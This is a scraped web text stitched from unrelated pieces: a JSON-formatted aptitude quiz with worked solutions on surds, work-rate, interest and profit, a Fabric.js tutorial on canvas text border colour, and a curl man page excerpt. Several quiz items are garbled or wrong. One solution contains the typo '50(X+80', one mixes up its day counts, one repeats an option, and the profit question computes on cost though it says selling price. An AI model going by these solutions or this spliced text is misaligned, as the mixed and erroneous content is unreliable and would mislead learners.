"code": null,
"e": 9923,
"s": 9905,
"text": "D - none of these"
},
{
"code": null,
"e": 9937,
"s": 9923,
"text": "√25/16 = 5/4"
},
{
"code": null,
"e": 9964,
"s": 9937,
"text": "Q 19 - √32+√48/ √8+√12 = ?"
},
{
"code": null,
"e": 9971,
"s": 9964,
"text": "A - √2"
},
{
"code": null,
"e": 9977,
"s": 9971,
"text": "B - 2"
},
{
"code": null,
"e": 9983,
"s": 9977,
"text": "D - 8"
},
{
"code": null,
"e": 10076,
"s": 9983,
"text": "(√32+√48)/( √8+√12) =(√16*2 +√16*3)/ √4*2 +√4*3)\n= 4√2+4√3/ 2√2+2√3 = 4(√2+√3)/ 2(√2+√3) =2"
},
{
"code": null,
"e": 10101,
"s": 10076,
"text": "Q 20 - (√24+√216)/√96= ?"
},
{
"code": null,
"e": 10109,
"s": 10101,
"text": "A - 2√6"
},
{
"code": null,
"e": 10117,
"s": 10109,
"text": "B - 6√2"
},
{
"code": null,
"e": 10123,
"s": 10117,
"text": "C - 2"
},
{
"code": null,
"e": 10134,
"s": 10123,
"text": "D - 1/3 √6"
},
{
"code": null,
"e": 10203,
"s": 10134,
"text": "(√24+√216)/√96 = (√4*6 +√36*6)/ √16*6 = (2√6+6√6)/4√6\n= 8√6 /4√6 = 2"
},
{
"code": null,
"e": 10277,
"s": 10203,
"text": "Q 21 - if √24 is approximately equal to 4.898 , then √8/3 is nearly equal"
},
{
"code": null,
"e": 10287,
"s": 10277,
"text": "A - 0.544"
},
{
"code": null,
"e": 10297,
"s": 10287,
"text": "B - 1.333"
},
{
"code": null,
"e": 10307,
"s": 10297,
"text": "C - 1.633"
},
{
"code": null,
"e": 10317,
"s": 10307,
"text": "D - 2.666"
},
{
"code": null,
"e": 10358,
"s": 10317,
"text": "√8/3 = √8*3/3*3 = √24/3 =4.898/3 = 1.633"
},
{
"code": null,
"e": 10432,
"s": 10358,
"text": "Q 22 - given that √3= 1.732, the value of 3 +√6 /(5√3-2√12 -√32+√50)is:"
},
{
"code": null,
"e": 10442,
"s": 10432,
"text": "A - 4.899"
},
{
"code": null,
"e": 10452,
"s": 10442,
"text": "B - 2.551"
},
{
"code": null,
"e": 10462,
"s": 10452,
"text": "C - 1.414"
},
{
"code": null,
"e": 10472,
"s": 10462,
"text": "D - 1.732"
},
{
"code": null,
"e": 10652,
"s": 10472,
"text": "Given exp = 3+√6/(5√3-2√4*3-√16*2+ √25*2)\n= 3+√6/(5√3-4√3-4√2+5√2)\n= (3+√6)/( √3+√2)*( √3-√2)/( √3-√2)\n= 3√3-3√2+√18-√12/(3-2)\n=(3√3-3√2+√9*2 -√4*3 )= (3√3-3√2+3√2-2√3) =√3= 1.732"
},
{
"code": null,
"e": 10834,
"s": 10652,
"text": "Q 23 - A certain no. of men finishes a bit of work in 60 days. On the off chance that there were 8 men more work could be done in 10 days less. What number of men arrived initially?"
},
{
"code": null,
"e": 10841,
"s": 10834,
"text": "A - 30"
},
{
"code": null,
"e": 10848,
"s": 10841,
"text": "B - 40"
},
{
"code": null,
"e": 10855,
"s": 10848,
"text": "C - 32"
},
{
"code": null,
"e": 10862,
"s": 10855,
"text": "D - 36"
},
{
"code": null,
"e": 11105,
"s": 10862,
"text": "Let there be x men originally.\nX man finish the work in 60 days and (x+8) finish it in 50 days.\nX man finish the job in 60 days.\n⇒ 1 man can finish it in 50 (x+8) days.\n∴ 60 x = 50(X+80 ⇒10 x= 400 ⇒x = 40\nHence, there were 40 men originally.\n"
},
{
"code": null,
"e": 11245,
"s": 11107,
"text": "Q 24 - The rates of working of A and B are in the proportion 3:4. The no. of days taken by them to complete the work is in the proportion"
},
{
"code": null,
"e": 11253,
"s": 11245,
"text": "A - 3:4"
},
{
"code": null,
"e": 11262,
"s": 11253,
"text": "B - 9:16"
},
{
"code": null,
"e": 11270,
"s": 11262,
"text": "C - 4:3"
},
{
"code": null,
"e": 11288,
"s": 11270,
"text": "D - none of these"
},
{
"code": null,
"e": 11327,
"s": 11288,
"text": "Ratio of time taken = 1/3 : 1/4 = 4:3"
},
{
"code": null,
"e": 11568,
"s": 11327,
"text": "Q 25 - A man and a kid finish a work together in 24 days. On the off chance that throughout the previous 6 days man alone takes every necessary step then it is finished in 26 days. To what extent the kid will take to complete the work done?"
},
{
"code": null,
"e": 11580,
"s": 11568,
"text": "A - 72 days"
},
{
"code": null,
"e": 11592,
"s": 11580,
"text": "B - 20 days"
},
{
"code": null,
"e": 11604,
"s": 11592,
"text": "C - 24 days"
},
{
"code": null,
"e": 11616,
"s": 11604,
"text": "D - 36 days"
},
{
"code": null,
"e": 11805,
"s": 11616,
"text": "Work done by (man + boy ) in 20 days = (1/24*20)= 5/6\n Remaining work = (1-5/6) = 1/6\n1/6 work is done by boy in 6 days.\nWhole work will be done by the boy in (6*6) = 36 days"
},
{
"code": null,
"e": 11955,
"s": 11805,
"text": "Q 26 - 8 men can delve a pit in 20 days. On the off chance that a man works half double as a kid then 4 men and 9 kids can delve a comparable pit in:"
},
{
"code": null,
"e": 11967,
"s": 11955,
"text": "A - 10 days"
},
{
"code": null,
"e": 11979,
"s": 11967,
"text": "B - 12 days"
},
{
"code": null,
"e": 11991,
"s": 11979,
"text": "C - 15 days"
},
{
"code": null,
"e": 12003,
"s": 11991,
"text": "D - 16 days"
},
{
"code": null,
"e": 12209,
"s": 12003,
"text": "1 man = 3/2 boys , 8 men = (8*3/2) boys = 12 boys\n(4men + 9 boys) = (4*3/2 +9) boys = 15 boys\nNow, 12 boys dig it in 20 days.\n1 boy digs it in (20*12) days.\n15 boys will dig it in (20*12)/15 days = 16 days"
},
{
"code": null,
"e": 12397,
"s": 12209,
"text": "Q 27 - 8 men can do a bit of work in 12 days. 4 ladies can do it in 48 days and 10 kids can do it in 24 days. In how long can 10 men, 4 ladies and 10 kids together finish the bit of work?"
},
{
"code": null,
"e": 12408,
"s": 12397,
"text": "A - 5 days"
},
{
"code": null,
"e": 12420,
"s": 12408,
"text": "B - 15 days"
},
{
"code": null,
"e": 12432,
"s": 12420,
"text": "C - 28 days"
},
{
"code": null,
"e": 12443,
"s": 12432,
"text": "D - 6 days"
},
{
"code": null,
"e": 12763,
"s": 12443,
"text": "8 men 1 day work = 1/12 ⇒1 man 1 day work = 1/96\n4 women 1 day work = 1/48 ⇒1 women 1 day work = 1/192\n10 children 1 day work = 1/24 ⇒1 child 1 day work = 1/240\n(10 men + 4 women +10 children)'s 1 day work = (10/96 + 4/192 +10/240)\n= (5/48+ 1/48+ 1/24) = (5+1+2)/48 = 8/48 = 1/6\nSo, they can finish the work in 6 days."
},
{
"code": null,
"e": 12974,
"s": 12763,
"text": "Q 28 - A men, a ladies and a kid can together finish a bit of work in 3 days. In the event that a men alone can do it in 6 days and a kid alone in 18 days, to what extent will a ladies take to finish the work? "
},
{
"code": null,
"e": 12985,
"s": 12974,
"text": "A - 9 days"
},
{
"code": null,
"e": 12997,
"s": 12985,
"text": "B - 21 days"
},
{
"code": null,
"e": 13009,
"s": 12997,
"text": "C - 24 days"
},
{
"code": null,
"e": 13021,
"s": 13009,
"text": "D - 27 days"
},
{
"code": null,
"e": 13211,
"s": 13021,
"text": "(1 man+ 1 women +1 boy ) 1 day work = 1/3\nSuppose the women alone can do it in x days. Then\n1/6 +1/x+1/18= 1/3 ⇒4/18 +1/x = 1/3 ⇒1/x = (1/3- 2/9) = 1/9\nSo, 1 woman can do the work in 9 days"
},
{
"code": null,
"e": 13367,
"s": 13211,
"text": "Q 29 - 9 men working 7 hours a day can finish a bit of work in 15 days. In how long can 6 men functioning for 9 hours a day, complete the same bit of work?"
},
{
"code": null,
"e": 13381,
"s": 13367,
"text": "A - 63/4 days"
},
{
"code": null,
"e": 13393,
"s": 13381,
"text": "B - 16 days"
},
{
"code": null,
"e": 13407,
"s": 13393,
"text": "C - 67/4 days"
},
{
"code": null,
"e": 13421,
"s": 13407,
"text": "D - 35/2 days"
},
{
"code": null,
"e": 13607,
"s": 13421,
"text": "(9*7) men working 1 hr a day can finish the work in 15 days.\n63 men finish it in 15 days.\n1 man can finish it in (15*63) days.\n(6*9) men can finish it in (15*63)/ (6*9) days = 35/2 days"
},
{
"code": null,
"e": 13836,
"s": 13607,
"text": "Q 30 - 9 youngsters can finish a bit of work in 360 days. 18 men can finish the same work of piece in 72 days and 12 ladies can finish it in 162 days. In how long can 4 men, 12 ladies and 10 kids together finish the bit of work?"
},
{
"code": null,
"e": 13848,
"s": 13836,
"text": "A - 68 days"
},
{
"code": null,
"e": 13860,
"s": 13848,
"text": "B - 81 days"
},
{
"code": null,
"e": 13872,
"s": 13860,
"text": "C - 96 days"
},
{
"code": null,
"e": 13885,
"s": 13872,
"text": "D - 124 days"
},
{
"code": null,
"e": 14202,
"s": 13885,
"text": "9 children 1 day work = 1/360 ⇒1 child 1 day work = 1/3240\n18 man 1 day work = 1/72 ⇒1 man 1 day work = 1/1296\n12 women 1 day work = 1/162 ⇒1 women 1 day work = 1/1944\n(4men +12 women +10 children) 1 day work = (4/1296+ 12/1944+10/3240)\n= (1/324+1/162+1/324) = 4/324 = 1/81\nHence they can finish the work in 81 days."
},
{
"code": null,
"e": 14366,
"s": 14202,
"text": "Q 31 - 10 ladies can finish a work in 8 days and 10 youngsters take 12 days to finish the work. How long will 6 ladies and 3 kids together take to finish the work?"
},
{
"code": null,
"e": 14372,
"s": 14366,
"text": "A - 7"
},
{
"code": null,
"e": 14379,
"s": 14372,
"text": "B - 10"
},
{
"code": null,
"e": 14385,
"s": 14379,
"text": "C - 9"
},
{
"code": null,
"e": 14392,
"s": 14385,
"text": "D - 12"
},
{
"code": null,
"e": 14626,
"s": 14392,
"text": "10 women 1 days work =1/8 ⇒1 women 1 day work = 1/80\n10 children 1 day work = 1/12 ⇒1 children 1 day work = 1/120\n(6 women + 3 children) 1 day work = (6/80 +3/120) = (3/40+ 1/40) = 4/40 = 1/10\nSo, they can finish the work in 10 days."
},
{
"code": null,
"e": 14737,
"s": 14626,
"text": "Q 32 - If 5 men or 9 ladies can complete a bit of work in 19 days, 3 men and 6 ladies will do likewise work in"
},
{
"code": null,
"e": 14749,
"s": 14737,
"text": "A - 10 days"
},
{
"code": null,
"e": 14761,
"s": 14749,
"text": "B - 12 days"
},
{
"code": null,
"e": 14773,
"s": 14761,
"text": "C - 13 days"
},
{
"code": null,
"e": 14786,
"s": 14773,
"text": "D - 15 days "
},
{
"code": null,
"e": 15021,
"s": 14786,
"text": "5 men 1 day work = 1/19 ⇒ 1 man's 1 day work = 1/95\n9 women 1 day work = 1/19 ⇒1 women 1 day work = 1/171\n(3 men + 6 women) 1 day work = (3/95 + 6/171) = (27+30)/855 = 57/ 855 = 1/15\n∴ 3 men and 6 women can finish the work in 15 days."
},
{
"code": null,
"e": 15132,
"s": 15021,
"text": "Q 33 - A man loses Rs 55.50 yearly when the yearly rate of interest tumbles from 11.5% to 10%. His capital is:"
},
{
"code": null,
"e": 15144,
"s": 15132,
"text": "A - Rs 3700"
},
{
"code": null,
"e": 15156,
"s": 15144,
"text": "B - Rs 7400"
},
{
"code": null,
"e": 15168,
"s": 15156,
"text": "C - Rs 8325"
},
{
"code": null,
"e": 15181,
"s": 15168,
"text": "D - Rs 11100"
},
{
"code": null,
"e": 15353,
"s": 15181,
"text": "Let the capital be Rs. x. then,\n(x*23/2*1/100*1) ?(x*10*1/100*1) = 55.50\n=> 23x/200 ?x/10 =111/2 => 23x-20x =11100 => 3x= 11100 => x = 3700\nHence, the capital is Rs. 3700."
},
{
"code": null,
"e": 15504,
"s": 15353,
"text": "Q 34 - A cash bank finds that because of a fall in the yearly rate of interest from 8% to 31/4% his yearly salary reduces by Rs 61.50. His capital is:"
},
{
"code": null,
"e": 15517,
"s": 15504,
"text": "A - Rs 22400"
},
{
"code": null,
"e": 15530,
"s": 15517,
"text": "B - Rs 23800"
},
{
"code": null,
"e": 15543,
"s": 15530,
"text": "C - Rs 24600"
},
{
"code": null,
"e": 15556,
"s": 15543,
"text": "D - Rs 26000"
},
{
"code": null,
"e": 15714,
"s": 15556,
"text": "Let the capital be RS. x. then\n(x*8/100*1) ?(x*31/4*1/100*1) = 123/2\n=> 2x/25-31x/400 = 123/2 => 32x-31x = 24600 => x= 24600\nHence, the capital is Rs. 24600."
},
{
"code": null,
"e": 15942,
"s": 15714,
"text": "Q 35 - A commission operators permits a refund of 2% to a financial specialist while the organization pays on interest of 15% on the speculation. What rate of premium does the financial specialist really acquire on his venture?"
},
{
"code": null,
"e": 15950,
"s": 15942,
"text": "A - 17%"
},
{
"code": null,
"e": 15961,
"s": 15950,
"text": "B - 131/8%"
},
{
"code": null,
"e": 15969,
"s": 15961,
"text": "C - 17%"
},
{
"code": null,
"e": 15981,
"s": 15969,
"text": "D - 750/49%"
},
{
"code": null,
"e": 16121,
"s": 15981,
"text": "Instead of Rs.100, the investor invests = Rs. (100-2) = Rs. 98\nInstead of Rs. 98 = Rs. 15\nInterest on Rs. 100= Rs. (15/98*100) = Rs. 750/49"
},
{
"code": null,
"e": 16296,
"s": 16121,
"text": "Q 36 - An aggregate of Rs 10000 is loaned mostly at 8% and the staying at 10% p.a. On the off chance that the year?s interest on the normal is 9.2% the cash loaned at 10% is:"
},
{
"code": null,
"e": 16308,
"s": 16296,
"text": "A - Rs 6000"
},
{
"code": null,
"e": 16320,
"s": 16308,
"text": "B - Rs 5500"
},
{
"code": null,
"e": 16332,
"s": 16320,
"text": "C - Rs 5000"
},
{
"code": null,
"e": 16344,
"s": 16332,
"text": "D - Rs 4500"
},
{
"code": null,
"e": 16426,
"s": 16344,
"text": "Ratio of investments = 0.8: 1.2: = 2:3\nMoney at 10% = Rs. (10000*3/5) = Rs. 6000>"
},
{
"code": null,
"e": 16647,
"s": 16426,
"text": "Q 37 - An aggregate of Rs 5000 was loaned mostly at 6% and incompletely at 9% basic interest. On the off chance that the aggregate yearly premium be Rs 390, the proportion in which the cash was loaned at given rates is: "
},
{
"code": null,
"e": 16655,
"s": 16647,
"text": "A - 1:1"
},
{
"code": null,
"e": 16663,
"s": 16655,
"text": "B - 1:2"
},
{
"code": null,
"e": 16671,
"s": 16663,
"text": "C - 2:3"
},
{
"code": null,
"e": 16679,
"s": 16671,
"text": "D - 3:2"
},
{
"code": null,
"e": 16899,
"s": 16679,
"text": "Let the money invested at the two rates be rs. x and Rs. (5000-x)\nThen, (x*6/100*1) + (5000-x) *9/100*1 = 390\n=> 3x/50 + 9(5000-x)/100 = 390\n=> 6x+45000-9x = 39000 => 3x= 6000 => x= 2000.\nRequired ratio = 2000:3000= 2:3"
},
{
"code": null,
"e": 17046,
"s": 16899,
"text": "Q 38 - The distinction between the premiums got from two unique banks on Rs 5000 for a long time is Rs 25. The distinction between their rates is:"
},
{
"code": null,
"e": 17053,
"s": 17046,
"text": "A - 1%"
},
{
"code": null,
"e": 17062,
"s": 17053,
"text": "B - 2.5%"
},
{
"code": null,
"e": 17072,
"s": 17062,
"text": "C - 0.5%"
},
{
"code": null,
"e": 17082,
"s": 17072,
"text": "D - 0.25%"
},
{
"code": null,
"e": 17235,
"s": 17082,
"text": "Let the rates be x% p.a. and Y % p.a. Then,\n(5000*x/100*2)- (5000*y/ 100 *2) =25\n=> 100(x-y) = 25 => x-y =0.25\nRequired difference in rates = 0.25% p.a."
},
{
"code": null,
"e": 17399,
"s": 17235,
"text": "Q 39 - An acquires Rs 8000 at 12% p.a simple interest and B gets Rs 9100 at 10%p.a. simple interest . In how long will their measures of obligations be equivalent?"
},
{
"code": null,
"e": 17412,
"s": 17399,
"text": "A - 18 years"
},
{
"code": null,
"e": 17425,
"s": 17412,
"text": "B - 20 years"
},
{
"code": null,
"e": 17438,
"s": 17425,
"text": "C - 22 years"
},
{
"code": null,
"e": 17451,
"s": 17438,
"text": "D - 24 years"
},
{
"code": null,
"e": 17558,
"s": 17451,
"text": "Let the required time be x years. Then,\n8000+8000*12/100*x= 9100+9100*10/100*x\n=> 50x =1100 => x= 22 years"
},
{
"code": null,
"e": 17746,
"s": 17558,
"text": "Q 40 - Rs. 6000 adds up to Rs. 7920 in 4 years at a sure rate of interest. On the off chance that the rate gets to be 1.5 times of itself, the measure of the same rule in 5 years will be:"
},
{
"code": null,
"e": 17759,
"s": 17746,
"text": "A - Rs. 9240"
},
{
"code": null,
"e": 17772,
"s": 17759,
"text": "B - Rs. 9600"
},
{
"code": null,
"e": 17785,
"s": 17772,
"text": "C - Rs. 9000"
},
{
"code": null,
"e": 17798,
"s": 17785,
"text": "D - Rs. 9450"
},
{
"code": null,
"e": 18041,
"s": 17798,
"text": "P = Rs. 6000, S.I = Rs. (7920-6000) = Rs. 1920, T= 4 years.\nR = (100*1920/6000*4) = 8% p.a.\nNew rate = (1.5*8) % p.a. = 12% p.a.\nNow = Rs. 6000, R= 12% p.a. and T = 5 years.\nS.I = Rs. (6000*12/100*5) = Rs.3600\nAmount = (6000+3600) = Rs. 9600."
},
{
"code": null,
"e": 18082,
"s": 18041,
"text": "Q 41 - { 1+1/1+ 1/(1+1/3) } / 11/7 = ?"
},
{
"code": null,
"e": 18088,
"s": 18082,
"text": "A - 1"
},
{
"code": null,
"e": 18096,
"s": 18088,
"text": "B - 4/3"
},
{
"code": null,
"e": 18104,
"s": 18096,
"text": "C - 5/4"
},
{
"code": null,
"e": 18112,
"s": 18104,
"text": "D - 8/7"
},
{
"code": null,
"e": 18234,
"s": 18112,
"text": "given exp. = { 1+ 1/ (1+1/(4/3)} /11/7\n= { 1+ 1/( 1+3/4)} /11/7\n= [ 1+ 1/(7/4)]/11/7\n= (1+4/7) /11/7\n= 11/7 /11/7\n= 1"
},
{
"code": null,
"e": 18261,
"s": 18234,
"text": "Q 42 - 3/2 /1+1/(1+1/4)= ?"
},
{
"code": null,
"e": 18269,
"s": 18261,
"text": "A - 5/4"
},
{
"code": null,
"e": 18277,
"s": 18269,
"text": "B - 3/2"
},
{
"code": null,
"e": 18285,
"s": 18277,
"text": "C - 5/6"
},
{
"code": null,
"e": 18291,
"s": 18285,
"text": "D - 1"
},
{
"code": null,
"e": 18379,
"s": 18291,
"text": "given exp. = (3/2) / 1+ 1(/5/4)\n= (3/2)/ (1+4/5)\n= (3/2) /(9/5)\n= ( 3/2 * 5/9)\n= 5/6 "
},
{
"code": null,
"e": 18407,
"s": 18379,
"text": "Q 43 - 5/ 3+3 /(1-2/3 ) =?"
},
{
"code": null,
"e": 18415,
"s": 18407,
"text": "A - 3/5"
},
{
"code": null,
"e": 18423,
"s": 18415,
"text": "B - 5/3"
},
{
"code": null,
"e": 18432,
"s": 18423,
"text": "C - 5/12"
},
{
"code": null,
"e": 18438,
"s": 18432,
"text": "D - 5"
},
{
"code": null,
"e": 18485,
"s": 18438,
"text": "given exp. = 5/ 3+ 3/(1/3)\n= 5/ (3+9)\n= 5/12"
},
{
"code": null,
"e": 18524,
"s": 18485,
"text": "Q 44 - 79/14 / 5+ 3/ (3+ 1/3 /5 =?"
},
{
"code": null,
"e": 18530,
"s": 18524,
"text": "A - 1"
},
{
"code": null,
"e": 18538,
"s": 18530,
"text": "B - 3/2"
},
{
"code": null,
"e": 18544,
"s": 18538,
"text": "C - 2"
},
{
"code": null,
"e": 18552,
"s": 18544,
"text": "D - 5/2"
},
{
"code": null,
"e": 18656,
"s": 18552,
"text": "given exp. = (79/14)/ 5+ 3/(3+5/3)\n= (79/14)/ 5+ 3/(14/3)\n= (79/14)/ 5+9/14\n= (79/14)/(79/14)\n= 1"
},
{
"code": null,
"e": 18695,
"s": 18656,
"text": "Q 45 - 4- 5/ 1+ 1 / 3+ 1 / 2+ 1/4 = ?"
},
{
"code": null,
"e": 18705,
"s": 18695,
"text": "A - 31/40"
},
{
"code": null,
"e": 18713,
"s": 18705,
"text": "B - 1/8"
},
{
"code": null,
"e": 18721,
"s": 18713,
"text": "C - 4/9"
},
{
"code": null,
"e": 18728,
"s": 18721,
"text": "D - 40"
},
{
"code": null,
"e": 18910,
"s": 18728,
"text": "given exp. = 4 - [5/ {1+ 1/ 3+(1/ 9/4)}] \n= 4 - [ 5/{ 1+ 1/ (3+4/9)}]\n= 4 - [5 / {1+ 1/ (31/9)}]\n= 4 - 5/ (1+9/31)\n= 4 - 5/ (40/31)\n= 4- ( 5*31)/40\n= 4- 31/8\n= (32-31)/8\n= 1/8"
},
{
"code": null,
"e": 18939,
"s": 18910,
"text": "Q 46 - 1+ 1/1+ 1/1 + 1/9 = ?"
},
{
"code": null,
"e": 18949,
"s": 18939,
"text": "A - 29/10"
},
{
"code": null,
"e": 18959,
"s": 18949,
"text": "B - 10/19"
},
{
"code": null,
"e": 18969,
"s": 18959,
"text": "C - 29/19"
},
{
"code": null,
"e": 18978,
"s": 18969,
"text": "D - 10/9"
},
{
"code": null,
"e": 19047,
"s": 18978,
"text": "given exp. = 1 + 1/(1+ 1/(9/10))\n=1 + 1/(19/10)\n=1 + 10/19\n= 29/19"
},
{
"code": null,
"e": 19089,
"s": 19047,
"text": "Q 47 - If 1/ 1+ 1 / 1+ 1/x = 2 then x = ?"
},
{
"code": null,
"e": 19099,
"s": 19089,
"text": "A - ? 1/3"
},
{
"code": null,
"e": 19107,
"s": 19099,
"text": "B - ? 1"
},
{
"code": null,
"e": 19115,
"s": 19107,
"text": "C - 1/3"
},
{
"code": null,
"e": 19121,
"s": 19115,
"text": "D - 1"
},
{
"code": null,
"e": 19214,
"s": 19121,
"text": "1/(1+ 1/ (1+1/x)) = 2\n⇒ 1/(1+x/(x+1)) = 2\n⇒ (x+1)/ (2x+1) = 2\n⇒ x+1= 4x+2\n⇒ 3x= -1\n⇒ x= -1/3"
},
{
"code": null,
"e": 19340,
"s": 19214,
"text": "Q 48 - What is the selling price of a toy? If the cost of the toy is Rs. 90 and a profit of 15% over selling price is earned?"
},
{
"code": null,
"e": 19354,
"s": 19340,
"text": "A - Rs. 103.5"
},
{
"code": null,
"e": 19368,
"s": 19354,
"text": "B - Rs. 101.5"
},
{
"code": null,
"e": 19380,
"s": 19368,
"text": "C - Rs. 107"
},
{
"code": null,
"e": 19392,
"s": 19380,
"text": "D - Rs. 115"
},
{
"code": null,
"e": 19543,
"s": 19392,
"text": "Cost price + profit = Selling Price\nCost price is Rs. 90\nProfit is 15% of Cost Price=13.5\nSelling Price = CP + Profit\n=90+13.5 = 103.5\nSP is Rs. 103.5"
},
{
"code": null,
"e": 19680,
"s": 19543,
"text": "Q 49 - A person incurs 10% loss by selling a refrigerator for Rs 5400. At what price should the refrigerator be sold to earn 10% profit?"
},
{
"code": null,
"e": 19689,
"s": 19680,
"text": "A - 5700"
},
{
"code": null,
"e": 19698,
"s": 19689,
"text": "B - 6000"
},
{
"code": null,
"e": 19707,
"s": 19698,
"text": "C - 6300"
},
{
"code": null,
"e": 19716,
"s": 19707,
"text": "D - 6600"
},
{
"code": null,
"e": 19742,
"s": 19716,
"text": "SP=5400 X (110)/90=6600."
},
{
"code": null,
"e": 19849,
"s": 19742,
"text": "Q 50 - By selling a Book for Rs.20, a man loses one eleventh of what it costs him. The cost of the Book is"
},
{
"code": null,
"e": 19856,
"s": 19849,
"text": "A - 22"
},
{
"code": null,
"e": 19863,
"s": 19856,
"text": "B - 21"
},
{
"code": null,
"e": 19870,
"s": 19863,
"text": "C - 20"
},
{
"code": null,
"e": 19877,
"s": 19870,
"text": "D - 19"
},
{
"code": null,
"e": 19939,
"s": 19877,
"text": "Let us assume cost price is X\ni.e., X - 20 = ( 1)/11 X\n=>X=22"
},
{
"code": null,
"e": 19975,
"s": 19939,
"text": "\n 87 Lectures \n 22.5 hours \n"
},
{
"code": null,
"e": 19993,
"s": 19975,
"text": " Programming Line"
},
{
"code": null,
"e": 20000,
"s": 19993,
"text": " Print"
},
{
"code": null,
"e": 20011,
"s": 20000,
"text": " Add Notes"
}
] |
How to change border-color of a canvas text using Fabric.js ? - GeeksforGeeks
|
11 Feb, 2022
In this article, we are going to see how to change the border-color of a canvas-like text using FabricJS. The canvas means text written is movable and can be stretched according to requirement. Further, the text itself cannot be edited like a textbox.Approach: To make it possible we are going to use a JavaScript library called FabricJS. After importing the library using CDN, we will create a canvas block in the body tag which will contain our text. After this, we will initialize instances of Canvas and Text provided by FabricJS and use the borderColor property to add color to the text borders and render the Canvas on the Text as given in the example below. Further, remember that you have to click on the text to see the border of the text.Syntax:
fabric.Text(text, borderColor: String);
Parameters: This function accepts two parameters as mentioned above and described below:
text: It specifies the text to be written.
borderColor: It specifies the color of the border.
Program: This example uses FabricJS to change border-color of canvas-like text.
html
<!DOCTYPE html><html> <head> <title> change border-color of a canvas-type text </title> <!-- Loading the FabricJS library --> <script src="https://cdnjs.cloudflare.com/ajax/libs/fabric.js/3.6.2/fabric.min.js"> </script></head> <body> <canvas id="canvas" width="600" height="200" style="border:1px solid #000000;"> </canvas> <script> // Create a new instance of Canvas var canvas = new fabric.Canvas("canvas"); // Create a new Textbox instance var text = new fabric.Text('GeeksforGeeks', { borderColor: 'red', }); // Render the Textbox on Canvas canvas.add(text); </script></body> </html>
Output:
anikakapoor
simranarora5sos
Fabric.js
JavaScript-Misc
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
How to Open URL in New Tab using JavaScript ?
Difference Between PUT and PATCH Request
Roadmap to Become a Web Developer in 2022
How to fetch data from an API in ReactJS ?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Convert a string to an integer in JavaScript
How to insert spaces/tabs in text using HTML/CSS?
|
[
{
"code": null,
"e": 24970,
"s": 24942,
"text": "\n11 Feb, 2022"
},
{
"code": null,
"e": 25728,
"s": 24970,
"text": "In this article, we are going to see how to change the border-color of a canvas-like text using FabricJS. The canvas means text written is movable and can be stretched according to requirement. Further, the text itself cannot be edited like a textbox.Approach: To make it possible we are going to use a JavaScript library called FabricJS. After importing the library using CDN, we will create a canvas block in the body tag which will contain our text. After this, we will initialize instances of Canvas and Text provided by FabricJS and use the borderColor property to add color to the text borders and render the Canvas on the Text as given in the example below. Further, remember that you have to click on the text to see the border of the text.Syntax: "
},
{
"code": null,
"e": 25770,
"s": 25728,
"text": " fabric.Text(text, borderColor: String); "
},
{
"code": null,
"e": 25861,
"s": 25770,
"text": "Parameters: This function accepts two parameters as mentioned above and described below: "
},
{
"code": null,
"e": 25904,
"s": 25861,
"text": "text: It specifies the text to be written."
},
{
"code": null,
"e": 25955,
"s": 25904,
"text": "borderColor: It specifies the color of the border."
},
{
"code": null,
"e": 26036,
"s": 25955,
"text": "Program: This example uses FabricJS to change border-color of canvas-like text. "
},
{
"code": null,
"e": 26041,
"s": 26036,
"text": "html"
},
{
"code": "<!DOCTYPE html><html> <head> <title> change border-color of a canvas-type text </title> <!-- Loading the FabricJS library --> <script src=\"https://cdnjs.cloudflare.com/ajax/libs/fabric.js/3.6.2/fabric.min.js\"> </script></head> <body> <canvas id=\"canvas\" width=\"600\" height=\"200\" style=\"border:1px solid #000000;\"> </canvas> <script> // Create a new instance of Canvas var canvas = new fabric.Canvas(\"canvas\"); // Create a new Textbox instance var text = new fabric.Text('GeeksforGeeks', { borderColor: 'red', }); // Render the Textbox on Canvas canvas.add(text); </script></body> </html>",
"e": 26739,
"s": 26041,
"text": null
},
{
"code": null,
"e": 26749,
"s": 26739,
"text": "Output: "
},
{
"code": null,
"e": 26763,
"s": 26751,
"text": "anikakapoor"
},
{
"code": null,
"e": 26779,
"s": 26763,
"text": "simranarora5sos"
},
{
"code": null,
"e": 26789,
"s": 26779,
"text": "Fabric.js"
},
{
"code": null,
"e": 26805,
"s": 26789,
"text": "JavaScript-Misc"
},
{
"code": null,
"e": 26816,
"s": 26805,
"text": "JavaScript"
},
{
"code": null,
"e": 26833,
"s": 26816,
"text": "Web Technologies"
},
{
"code": null,
"e": 26931,
"s": 26833,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26976,
"s": 26931,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 27037,
"s": 26976,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 27109,
"s": 27037,
"text": "Differences between Functional Components and Class Components in React"
},
{
"code": null,
"e": 27155,
"s": 27109,
"text": "How to Open URL in New Tab using JavaScript ?"
},
{
"code": null,
"e": 27196,
"s": 27155,
"text": "Difference Between PUT and PATCH Request"
},
{
"code": null,
"e": 27238,
"s": 27196,
"text": "Roadmap to Become a Web Developer in 2022"
},
{
"code": null,
"e": 27281,
"s": 27238,
"text": "How to fetch data from an API in ReactJS ?"
},
{
"code": null,
"e": 27343,
"s": 27281,
"text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills"
},
{
"code": null,
"e": 27388,
"s": 27343,
"text": "Convert a string to an integer in JavaScript"
}
] |
curl - Unix, Linux Command
|
curl - Transfers data from or to a server, using one of the protocols: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE. (To transfer multiple files use wget or FTP.)
curl [options] [URL...]
Curl transfers data from or to a server, using one of the protocols: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, DICT, TELNET, LDAP or FILE. (To transfer multiple files use wget or FTP.).
http://site.{one,two,three}.com
or get sequences of alphanumeric series by using [] as in:
ftp://ftp.numericals.com/file[1-100].txt
ftp://ftp.numericals.com/file[001-100].txt (with leading zeros)
ftp://ftp.letters.com/file[a-z].txt
curl http://{one,two}.site.com -o "file_#1.txt"
or use several variables like:
curl http://{site,host}.host[1-5].com -o "#1_#2"
You may use this option as many times as the number of URLs you have. See also --create-dirs option to create the local directories dynamically. Specify '-' to force the output to stdout.
